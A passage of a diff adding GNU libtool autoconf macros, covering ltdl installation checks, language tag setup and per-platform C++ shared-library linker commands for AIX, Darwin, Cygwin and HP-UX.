+[AC_BEFORE([$0],[AC_LIBTOOL_SETUP])dnl
+  AC_CHECK_LIB(ltdl, lt_dlinit,
+  [test x"$enable_ltdl_install" != xyes && enable_ltdl_install=no],
+  [if test x"$enable_ltdl_install" = xno; then
+     AC_MSG_WARN([libltdl not installed, but installation disabled])
+   else
+     enable_ltdl_install=yes
+   fi
+  ])
+  if test x"$enable_ltdl_install" = x"yes"; then
+    ac_configure_args="$ac_configure_args --enable-ltdl-install"
+    LIBLTDL='${top_builddir}/'ifelse($#,1,[$1],['libltdl'])/libltdl.la
+    LTDLINCL='-I${top_srcdir}/'ifelse($#,1,[$1],['libltdl'])
+  else
+    ac_configure_args="$ac_configure_args --enable-ltdl-install=no"
+    LIBLTDL="-lltdl"
+    LTDLINCL=
+  fi
+  # For backwards non-gettext consistent compatibility...
+  INCLTDL="$LTDLINCL"
+])# AC_LIBLTDL_INSTALLABLE
+
+
+# AC_LIBTOOL_CXX
+# --------------
+# enable support for C++ libraries
+AC_DEFUN([AC_LIBTOOL_CXX],
+[AC_REQUIRE([_LT_AC_LANG_CXX])
+])# AC_LIBTOOL_CXX
+
+
+# _LT_AC_LANG_CXX
+# ---------------
+AC_DEFUN([_LT_AC_LANG_CXX],
+[AC_REQUIRE([AC_PROG_CXX])
+AC_REQUIRE([_LT_AC_PROG_CXXCPP])
+_LT_AC_SHELL_INIT([tagnames=${tagnames+${tagnames},}CXX])
+])# _LT_AC_LANG_CXX
+
+# _LT_AC_PROG_CXXCPP
+# ------------------
+AC_DEFUN([_LT_AC_PROG_CXXCPP],
+[
+AC_REQUIRE([AC_PROG_CXX])
+if test -n "$CXX" && ( test "X$CXX" != "Xno" &&
+    ( (test "X$CXX" = "Xg++" && `g++ -v >/dev/null 2>&1` ) ||
+    (test "X$CXX" != "Xg++"))) ; then
+  AC_PROG_CXXCPP
+fi
+])# _LT_AC_PROG_CXXCPP
+
+# AC_LIBTOOL_F77
+# --------------
+# enable support for Fortran 77 libraries
+AC_DEFUN([AC_LIBTOOL_F77],
+[AC_REQUIRE([_LT_AC_LANG_F77])
+])# AC_LIBTOOL_F77
+
+
+# _LT_AC_LANG_F77
+# ---------------
+AC_DEFUN([_LT_AC_LANG_F77],
+[AC_REQUIRE([AC_PROG_F77])
+_LT_AC_SHELL_INIT([tagnames=${tagnames+${tagnames},}F77])
+])# _LT_AC_LANG_F77
+
+
+# AC_LIBTOOL_GCJ
+# --------------
+# enable support for GCJ libraries
+AC_DEFUN([AC_LIBTOOL_GCJ],
+[AC_REQUIRE([_LT_AC_LANG_GCJ])
+])# AC_LIBTOOL_GCJ
+
+
+# _LT_AC_LANG_GCJ
+# ---------------
+AC_DEFUN([_LT_AC_LANG_GCJ],
+[AC_PROVIDE_IFELSE([AC_PROG_GCJ],[],
+  [AC_PROVIDE_IFELSE([A][M_PROG_GCJ],[],
+    [AC_PROVIDE_IFELSE([LT_AC_PROG_GCJ],[],
+      [ifdef([AC_PROG_GCJ],[AC_REQUIRE([AC_PROG_GCJ])],
+	 [ifdef([A][M_PROG_GCJ],[AC_REQUIRE([A][M_PROG_GCJ])],
+	   [AC_REQUIRE([A][C_PROG_GCJ_OR_A][M_PROG_GCJ])])])])])])
+_LT_AC_SHELL_INIT([tagnames=${tagnames+${tagnames},}GCJ])
+])# _LT_AC_LANG_GCJ
+
+
+# AC_LIBTOOL_RC
+# -------------
+# enable support for Windows resource files
+AC_DEFUN([AC_LIBTOOL_RC],
+[AC_REQUIRE([LT_AC_PROG_RC])
+_LT_AC_SHELL_INIT([tagnames=${tagnames+${tagnames},}RC])
+])# AC_LIBTOOL_RC
+
+
+# AC_LIBTOOL_LANG_C_CONFIG
+# ------------------------
+# Ensure that the configuration vars for the C compiler are
+# suitably defined.  Those variables are subsequently used by
+# AC_LIBTOOL_CONFIG to write the compiler configuration to `libtool'.
+AC_DEFUN([AC_LIBTOOL_LANG_C_CONFIG], [_LT_AC_LANG_C_CONFIG])
+AC_DEFUN([_LT_AC_LANG_C_CONFIG],
+[lt_save_CC="$CC"
+AC_LANG_PUSH(C)
+
+# Source file extension for C test sources.
+ac_ext=c
+
+# Object file extension for compiled C test sources.
+objext=o
+_LT_AC_TAGVAR(objext, $1)=$objext
+
+# Code to be used in simple compile tests
+lt_simple_compile_test_code="int some_variable = 0;\n"
+
+# Code to be used in simple link tests
+lt_simple_link_test_code='int main(){return(0);}\n'
+
+_LT_AC_SYS_COMPILER
+
+# save warnings/boilerplate of simple test code
+_LT_COMPILER_BOILERPLATE
+_LT_LINKER_BOILERPLATE
+
+AC_LIBTOOL_PROG_COMPILER_NO_RTTI($1)
+AC_LIBTOOL_PROG_COMPILER_PIC($1)
+AC_LIBTOOL_PROG_CC_C_O($1)
+AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1)
+AC_LIBTOOL_PROG_LD_SHLIBS($1)
+AC_LIBTOOL_SYS_DYNAMIC_LINKER($1)
+AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1)
+AC_LIBTOOL_SYS_LIB_STRIP
+AC_LIBTOOL_DLOPEN_SELF
+
+# Report which library types will actually be built
+AC_MSG_CHECKING([if libtool supports shared libraries])
+AC_MSG_RESULT([$can_build_shared])
+
+AC_MSG_CHECKING([whether to build shared libraries])
+test "$can_build_shared" = "no" && enable_shared=no
+
+# On AIX, shared libraries and static libraries use the same namespace, and
+# are all built from PIC.
+case $host_os in
+aix3*)
+  test "$enable_shared" = yes && enable_static=no
+  if test -n "$RANLIB"; then
+    archive_cmds="$archive_cmds~\$RANLIB \$lib"
+    postinstall_cmds='$RANLIB $lib'
+  fi
+  ;;
+
+aix4* | aix5*)
+  if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then
+    test "$enable_shared" = yes && enable_static=no
+  fi
+    ;;
+esac
+AC_MSG_RESULT([$enable_shared])
+
+AC_MSG_CHECKING([whether to build static libraries])
+# Make sure either enable_shared or enable_static is yes.
+test "$enable_shared" = yes || enable_static=yes
+AC_MSG_RESULT([$enable_static])
+
+AC_LIBTOOL_CONFIG($1)
+
+AC_LANG_POP
+CC="$lt_save_CC"
+])# AC_LIBTOOL_LANG_C_CONFIG
+
+
+# AC_LIBTOOL_LANG_CXX_CONFIG
+# --------------------------
+# Ensure that the configuration vars for the C compiler are
+# suitably defined.  Those variables are subsequently used by
+# AC_LIBTOOL_CONFIG to write the compiler configuration to `libtool'.
+AC_DEFUN([AC_LIBTOOL_LANG_CXX_CONFIG], [_LT_AC_LANG_CXX_CONFIG(CXX)])
+AC_DEFUN([_LT_AC_LANG_CXX_CONFIG],
+[AC_LANG_PUSH(C++)
+AC_REQUIRE([AC_PROG_CXX])
+AC_REQUIRE([_LT_AC_PROG_CXXCPP])
+
+_LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
+_LT_AC_TAGVAR(allow_undefined_flag, $1)=
+_LT_AC_TAGVAR(always_export_symbols, $1)=no
+_LT_AC_TAGVAR(archive_expsym_cmds, $1)=
+_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=
+_LT_AC_TAGVAR(hardcode_direct, $1)=no
+_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=
+_LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)=
+_LT_AC_TAGVAR(hardcode_libdir_separator, $1)=
+_LT_AC_TAGVAR(hardcode_minus_L, $1)=no
+_LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported
+_LT_AC_TAGVAR(hardcode_automatic, $1)=no
+_LT_AC_TAGVAR(module_cmds, $1)=
+_LT_AC_TAGVAR(module_expsym_cmds, $1)=
+_LT_AC_TAGVAR(link_all_deplibs, $1)=unknown
+_LT_AC_TAGVAR(old_archive_cmds, $1)=$old_archive_cmds
+_LT_AC_TAGVAR(no_undefined_flag, $1)=
+_LT_AC_TAGVAR(whole_archive_flag_spec, $1)=
+_LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=no
+
+# Dependencies to place before and after the object being linked:
+_LT_AC_TAGVAR(predep_objects, $1)=
+_LT_AC_TAGVAR(postdep_objects, $1)=
+_LT_AC_TAGVAR(predeps, $1)=
+_LT_AC_TAGVAR(postdeps, $1)=
+_LT_AC_TAGVAR(compiler_lib_search_path, $1)=
+
+# Source file extension for C++ test sources.
+ac_ext=cpp
+
+# Object file extension for compiled C++ test sources.
+objext=o
+_LT_AC_TAGVAR(objext, $1)=$objext
+
+# Code to be used in simple compile tests
+lt_simple_compile_test_code="int some_variable = 0;\n"
+
+# Code to be used in simple link tests
+lt_simple_link_test_code='int main(int, char *[[]]) { return(0); }\n'
+
+# ltmain only uses $CC for tagged configurations so make sure $CC is set.
+_LT_AC_SYS_COMPILER
+
+# save warnings/boilerplate of simple test code
+_LT_COMPILER_BOILERPLATE
+_LT_LINKER_BOILERPLATE
+
+# Allow CC to be a program name with arguments.
+lt_save_CC=$CC
+lt_save_LD=$LD
+lt_save_GCC=$GCC
+GCC=$GXX
+lt_save_with_gnu_ld=$with_gnu_ld
+lt_save_path_LD=$lt_cv_path_LD
+if test -n "${lt_cv_prog_gnu_ldcxx+set}"; then
+  lt_cv_prog_gnu_ld=$lt_cv_prog_gnu_ldcxx
+else
+  $as_unset lt_cv_prog_gnu_ld
+fi
+if test -n "${lt_cv_path_LDCXX+set}"; then
+  lt_cv_path_LD=$lt_cv_path_LDCXX
+else
+  $as_unset lt_cv_path_LD
+fi
+test -z "${LDCXX+set}" || LD=$LDCXX
+CC=${CXX-"c++"}
+compiler=$CC
+_LT_AC_TAGVAR(compiler, $1)=$CC
+_LT_CC_BASENAME([$compiler])
+
+# We don't want -fno-exception wen compiling C++ code, so set the
+# no_builtin_flag separately
+if test "$GXX" = yes; then
+  _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=' -fno-builtin'
+else
+  _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=
+fi
+
+if test "$GXX" = yes; then
+  # Set up default GNU C++ configuration
+
+  AC_PROG_LD
+
+  # Check if GNU C++ uses GNU ld as the underlying linker, since the
+  # archiving commands below assume that GNU ld is being used.
+  if test "$with_gnu_ld" = yes; then
+    _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
+    _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+
+    _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath ${wl}$libdir'
+    _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
+
+    # If archive_cmds runs LD, not CC, wlarc should be empty
+    # XXX I think wlarc can be eliminated in ltcf-cxx, but I need to
+    #     investigate it a little bit more. (MM)
+    wlarc='${wl}'
+
+    # ancient GNU ld didn't support --whole-archive et. al.
+    if eval "`$CC -print-prog-name=ld` --help 2>&1" | \
+	grep 'no-whole-archive' > /dev/null; then
+      _LT_AC_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
+    else
+      _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=
+    fi
+  else
+    with_gnu_ld=no
+    wlarc=
+
+    # A generic and very simple default shared library creation
+    # command for GNU C++ for the case where it uses the native
+    # linker, instead of GNU ld.  If possible, this setting should
+    # overridden to take advantage of the native linker features on
+    # the platform it is being used on.
+    _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib'
+  fi
+
+  # Commands to make compiler produce verbose output that lists
+  # what "hidden" libraries, object files and flags are used when
+  # linking a shared library.
+  output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
+
+else
+  GXX=no
+  with_gnu_ld=no
+  wlarc=
+fi
+
+# PORTME: fill in a description of your system's C++ link characteristics
+AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries])
+_LT_AC_TAGVAR(ld_shlibs, $1)=yes
+case $host_os in
+  aix3*)
+    # FIXME: insert proper C++ library support
+    _LT_AC_TAGVAR(ld_shlibs, $1)=no
+    ;;
+  aix4* | aix5*)
+    if test "$host_cpu" = ia64; then
+      # On IA64, the linker does run time linking by default, so we don't
+      # have to do anything special.
+      aix_use_runtimelinking=no
+      exp_sym_flag='-Bexport'
+      no_entry_flag=""
+    else
+      aix_use_runtimelinking=no
+
+      # Test if we are trying to use run time linking or normal
+      # AIX style linking. If -brtl is somewhere in LDFLAGS, we
+      # need to do runtime linking.
+      case $host_os in aix4.[[23]]|aix4.[[23]].*|aix5*)
+	for ld_flag in $LDFLAGS; do
+	  case $ld_flag in
+	  *-brtl*)
+	    aix_use_runtimelinking=yes
+	    break
+	    ;;
+	  esac
+	done
+	;;
+      esac
+
+      exp_sym_flag='-bexport'
+      no_entry_flag='-bnoentry'
+    fi
+
+    # When large executables or shared objects are built, AIX ld can
+    # have problems creating the table of contents.  If linking a library
+    # or program results in "error TOC overflow" add -mminimal-toc to
+    # CXXFLAGS/CFLAGS for g++/gcc.  In the cases where that is not
+    # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
+
+    _LT_AC_TAGVAR(archive_cmds, $1)=''
+    _LT_AC_TAGVAR(hardcode_direct, $1)=yes
+    _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=':'
+    _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
+
+    if test "$GXX" = yes; then
+      case $host_os in aix4.[[012]]|aix4.[[012]].*)
+      # We only want to do this on AIX 4.2 and lower, the check
+      # below for broken collect2 doesn't work under 4.3+
+	collect2name=`${CC} -print-prog-name=collect2`
+	if test -f "$collect2name" && \
+	   strings "$collect2name" | grep resolve_lib_name >/dev/null
+	then
+	  # We have reworked collect2
+	  _LT_AC_TAGVAR(hardcode_direct, $1)=yes
+	else
+	  # We have old collect2
+	  _LT_AC_TAGVAR(hardcode_direct, $1)=unsupported
+	  # It fails to find uninstalled libraries when the uninstalled
+	  # path is not listed in the libpath.  Setting hardcode_minus_L
+	  # to unsupported forces relinking
+	  _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes
+	  _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+	  _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=
+	fi
+	;;
+      esac
+      shared_flag='-shared'
+      if test "$aix_use_runtimelinking" = yes; then
+	shared_flag="$shared_flag "'${wl}-G'
+      fi
+    else
+      # not using gcc
+      if test "$host_cpu" = ia64; then
+	# VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
+	# chokes on -Wl,-G. The following line is correct:
+	shared_flag='-G'
+      else
+	if test "$aix_use_runtimelinking" = yes; then
+	  shared_flag='${wl}-G'
+	else
+	  shared_flag='${wl}-bM:SRE'
+	fi
+      fi
+    fi
+
+    # It seems that -bexpall does not export symbols beginning with
+    # underscore (_), so it is better to generate a list of symbols to export.
+    _LT_AC_TAGVAR(always_export_symbols, $1)=yes
+    if test "$aix_use_runtimelinking" = yes; then
+      # Warning - without using the other runtime loading flags (-brtl),
+      # -berok will link without error, but may produce a broken library.
+      _LT_AC_TAGVAR(allow_undefined_flag, $1)='-berok'
+      # Determine the default libpath from the value encoded in an empty executable.
+      _LT_AC_SYS_LIBPATH_AIX
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
+
+      _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+     else
+      if test "$host_cpu" = ia64; then
+	_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $libdir:/usr/lib:/lib'
+	_LT_AC_TAGVAR(allow_undefined_flag, $1)="-z nodefs"
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
+      else
+	# Determine the default libpath from the value encoded in an empty executable.
+	_LT_AC_SYS_LIBPATH_AIX
+	_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath"
+	# Warning - without using the other run time loading flags,
+	# -berok will link without error, but may produce a broken library.
+	_LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-bernotok'
+	_LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-berok'
+	# Exported symbols can be pulled into shared objects from archives
+	_LT_AC_TAGVAR(whole_archive_flag_spec, $1)='$convenience'
+	_LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes
+	# This is similar to how AIX traditionally builds its shared libraries.
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
+      fi
+    fi
+    ;;
+
+  beos*)
+    if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
+      _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
+      # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
+      # support --undefined.  This deserves some investigation.  FIXME
+      _LT_AC_TAGVAR(archive_cmds, $1)='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+    else
+      _LT_AC_TAGVAR(ld_shlibs, $1)=no
+    fi
+    ;;
+
+  chorus*)
+    case $cc_basename in
+      *)
+	# FIXME: insert proper C++ library support
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+	;;
+    esac
+    ;;
+
+  cygwin* | mingw* | pw32*)
+    # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) is actually meaningless,
+    # as there is no search path for DLLs.
+    _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir'
+    _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported
+    _LT_AC_TAGVAR(always_export_symbols, $1)=no
+    _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
+
+    if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
+      _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+      # If the export-symbols file already is a .def file (1st line
+      # is EXPORTS), use it as is; otherwise, prepend...
+      _LT_AC_TAGVAR(archive_expsym_cmds, $1)='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
+	cp $export_symbols $output_objdir/$soname.def;
+      else
+	echo EXPORTS > $output_objdir/$soname.def;
+	cat $export_symbols >> $output_objdir/$soname.def;
+      fi~
+      $CC -shared -nostdlib $output_objdir/$soname.def $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+    else
+      _LT_AC_TAGVAR(ld_shlibs, $1)=no
+    fi
+  ;;
+      darwin* | rhapsody*)
+        case $host_os in
+        rhapsody* | darwin1.[[012]])
+         _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}suppress'
+         ;;
+       *) # Darwin 1.3 on
+         if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
+           _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
+         else
+           case ${MACOSX_DEPLOYMENT_TARGET} in
+             10.[[012]])
+               _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
+               ;;
+             10.*)
+               _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}dynamic_lookup'
+               ;;
+           esac
+         fi
+         ;;
+        esac
+      _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
+      _LT_AC_TAGVAR(hardcode_direct, $1)=no
+      _LT_AC_TAGVAR(hardcode_automatic, $1)=yes
+      _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported
+      _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=''
+      _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
+
+    if test "$GXX" = yes ; then
+      lt_int_apple_cc_single_mod=no
+      output_verbose_link_cmd='echo'
+      if $CC -dumpspecs 2>&1 | $EGREP 'single_module' >/dev/null ; then
+       lt_int_apple_cc_single_mod=yes
+      fi
+      if test "X$lt_int_apple_cc_single_mod" = Xyes ; then
+       _LT_AC_TAGVAR(archive_cmds, $1)='$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
+      else
+          _LT_AC_TAGVAR(archive_cmds, $1)='$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
+        fi
+        _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
+        # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
+          if test "X$lt_int_apple_cc_single_mod" = Xyes ; then
+            _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[    ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib -single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+          else
+            _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[    ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -r -keep_private_externs -nostdlib -o ${lib}-master.o $libobjs~$CC -dynamiclib $allow_undefined_flag -o $lib ${lib}-master.o $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+          fi
+            _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[    ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag  -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+      else
+      case $cc_basename in
+        xlc*)
+         output_verbose_link_cmd='echo'
+          _LT_AC_TAGVAR(archive_cmds, $1)='$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
+          _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
+          # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
+          _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[    ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj ${wl}-single_module $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+          _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[    ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag  -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
+          ;;
+       *)
+         _LT_AC_TAGVAR(ld_shlibs, $1)=no
+          ;;
+      esac
+      fi
+        ;;
+
+  dgux*)
+    case $cc_basename in
+      ec++*)
+	# FIXME: insert proper C++ library support
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+	;;
+      ghcx*)
+	# Green Hills C++ Compiler
+	# FIXME: insert proper C++ library support
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+	;;
+      *)
+	# FIXME: insert proper C++ library support
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+	;;
+    esac
+    ;;
+  freebsd[[12]]*)
+    # C++ shared libraries reported to be fairly broken before switch to ELF
+    _LT_AC_TAGVAR(ld_shlibs, $1)=no
+    ;;
+  freebsd-elf*)
+    _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
+    ;;
+  freebsd* | dragonfly*)
+    # FreeBSD 3 and later use GNU C++ and GNU ld with standard ELF
+    # conventions
+    _LT_AC_TAGVAR(ld_shlibs, $1)=yes
+    ;;
+  gnu*)
+    ;;
+  hpux9*)
+    _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
+    _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
+    _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
+    _LT_AC_TAGVAR(hardcode_direct, $1)=yes
+    _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH,
+				# but as the default
+				# location of the library.
+
+    case $cc_basename in
+    CC*)
+      # FIXME: insert proper C++ library support
+      _LT_AC_TAGVAR(ld_shlibs, $1)=no
+      ;;
+    aCC*)
+      _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -b ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+      # Commands to make compiler produce verbose output that lists
+      # what "hidden" libraries, object files and flags are used when
+      # linking a shared library.
+      #
+      # There doesn't appear to be a way to prevent this compiler from
+      # explicitly linking system object files so we need to strip them
+      # from the output so that they don't get included in the library
+      # dependencies.
+      output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "[[-]]L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
+      ;;
+    *)
+      if test "$GXX" = yes; then
+        _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -shared -nostdlib -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+      else
+        # FIXME: insert proper C++ library support
+        _LT_AC_TAGVAR(ld_shlibs, $1)=no
+      fi
+      ;;
+    esac
+    ;;
+  hpux10*|hpux11*)
+    if test $with_gnu_ld = no; then
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir'
+      _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
+
+      case $host_cpu in
+      hppa*64*|ia64*)
+	_LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='+b $libdir'
+        ;;
+      *)
+	_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
+        ;;
+      esac
+    fi
+    case $host_cpu in
+    hppa*64*|ia64*)
+      _LT_AC_TAGVAR(hardcode_direct, $1)=no
+      _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+      ;;
+    *)
+      _LT_AC_TAGVAR(hardcode_direct, $1)=yes
+      _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes # Not in the search PATH,
+					      # but as the default
+					      # location of the library.
+      ;;
+    esac
+
+    case $cc_basename in
+      CC*)
+	# FIXME: insert proper C++ library support
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+	;;
+      aCC*)
+	case $host_cpu in
+	hppa*64*)
+	  _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+	  ;;
+	ia64*)
+	  _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+	  ;;
+	*)
+	  _LT_AC_TAGVAR(archive_cmds, $1)='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+	  ;;
+	esac
+	# Commands to make compiler produce verbose output that lists
+	# what "hidden" libraries, object files and flags are used when
+	# linking a shared library.
+	#
+	# There doesn't appear to be a way to prevent this compiler from
+	# explicitly linking system object files so we need to strip them
+	# from the output so that they don't get included in the library
+	# dependencies.
+	output_verbose_link_cmd='templist=`($CC -b $CFLAGS -v conftest.$objext 2>&1) | grep "\-L"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
+	;;
+      *)
+	if test "$GXX" = yes; then
+	  if test $with_gnu_ld = no; then
+	    case $host_cpu in
+	    hppa*64*)
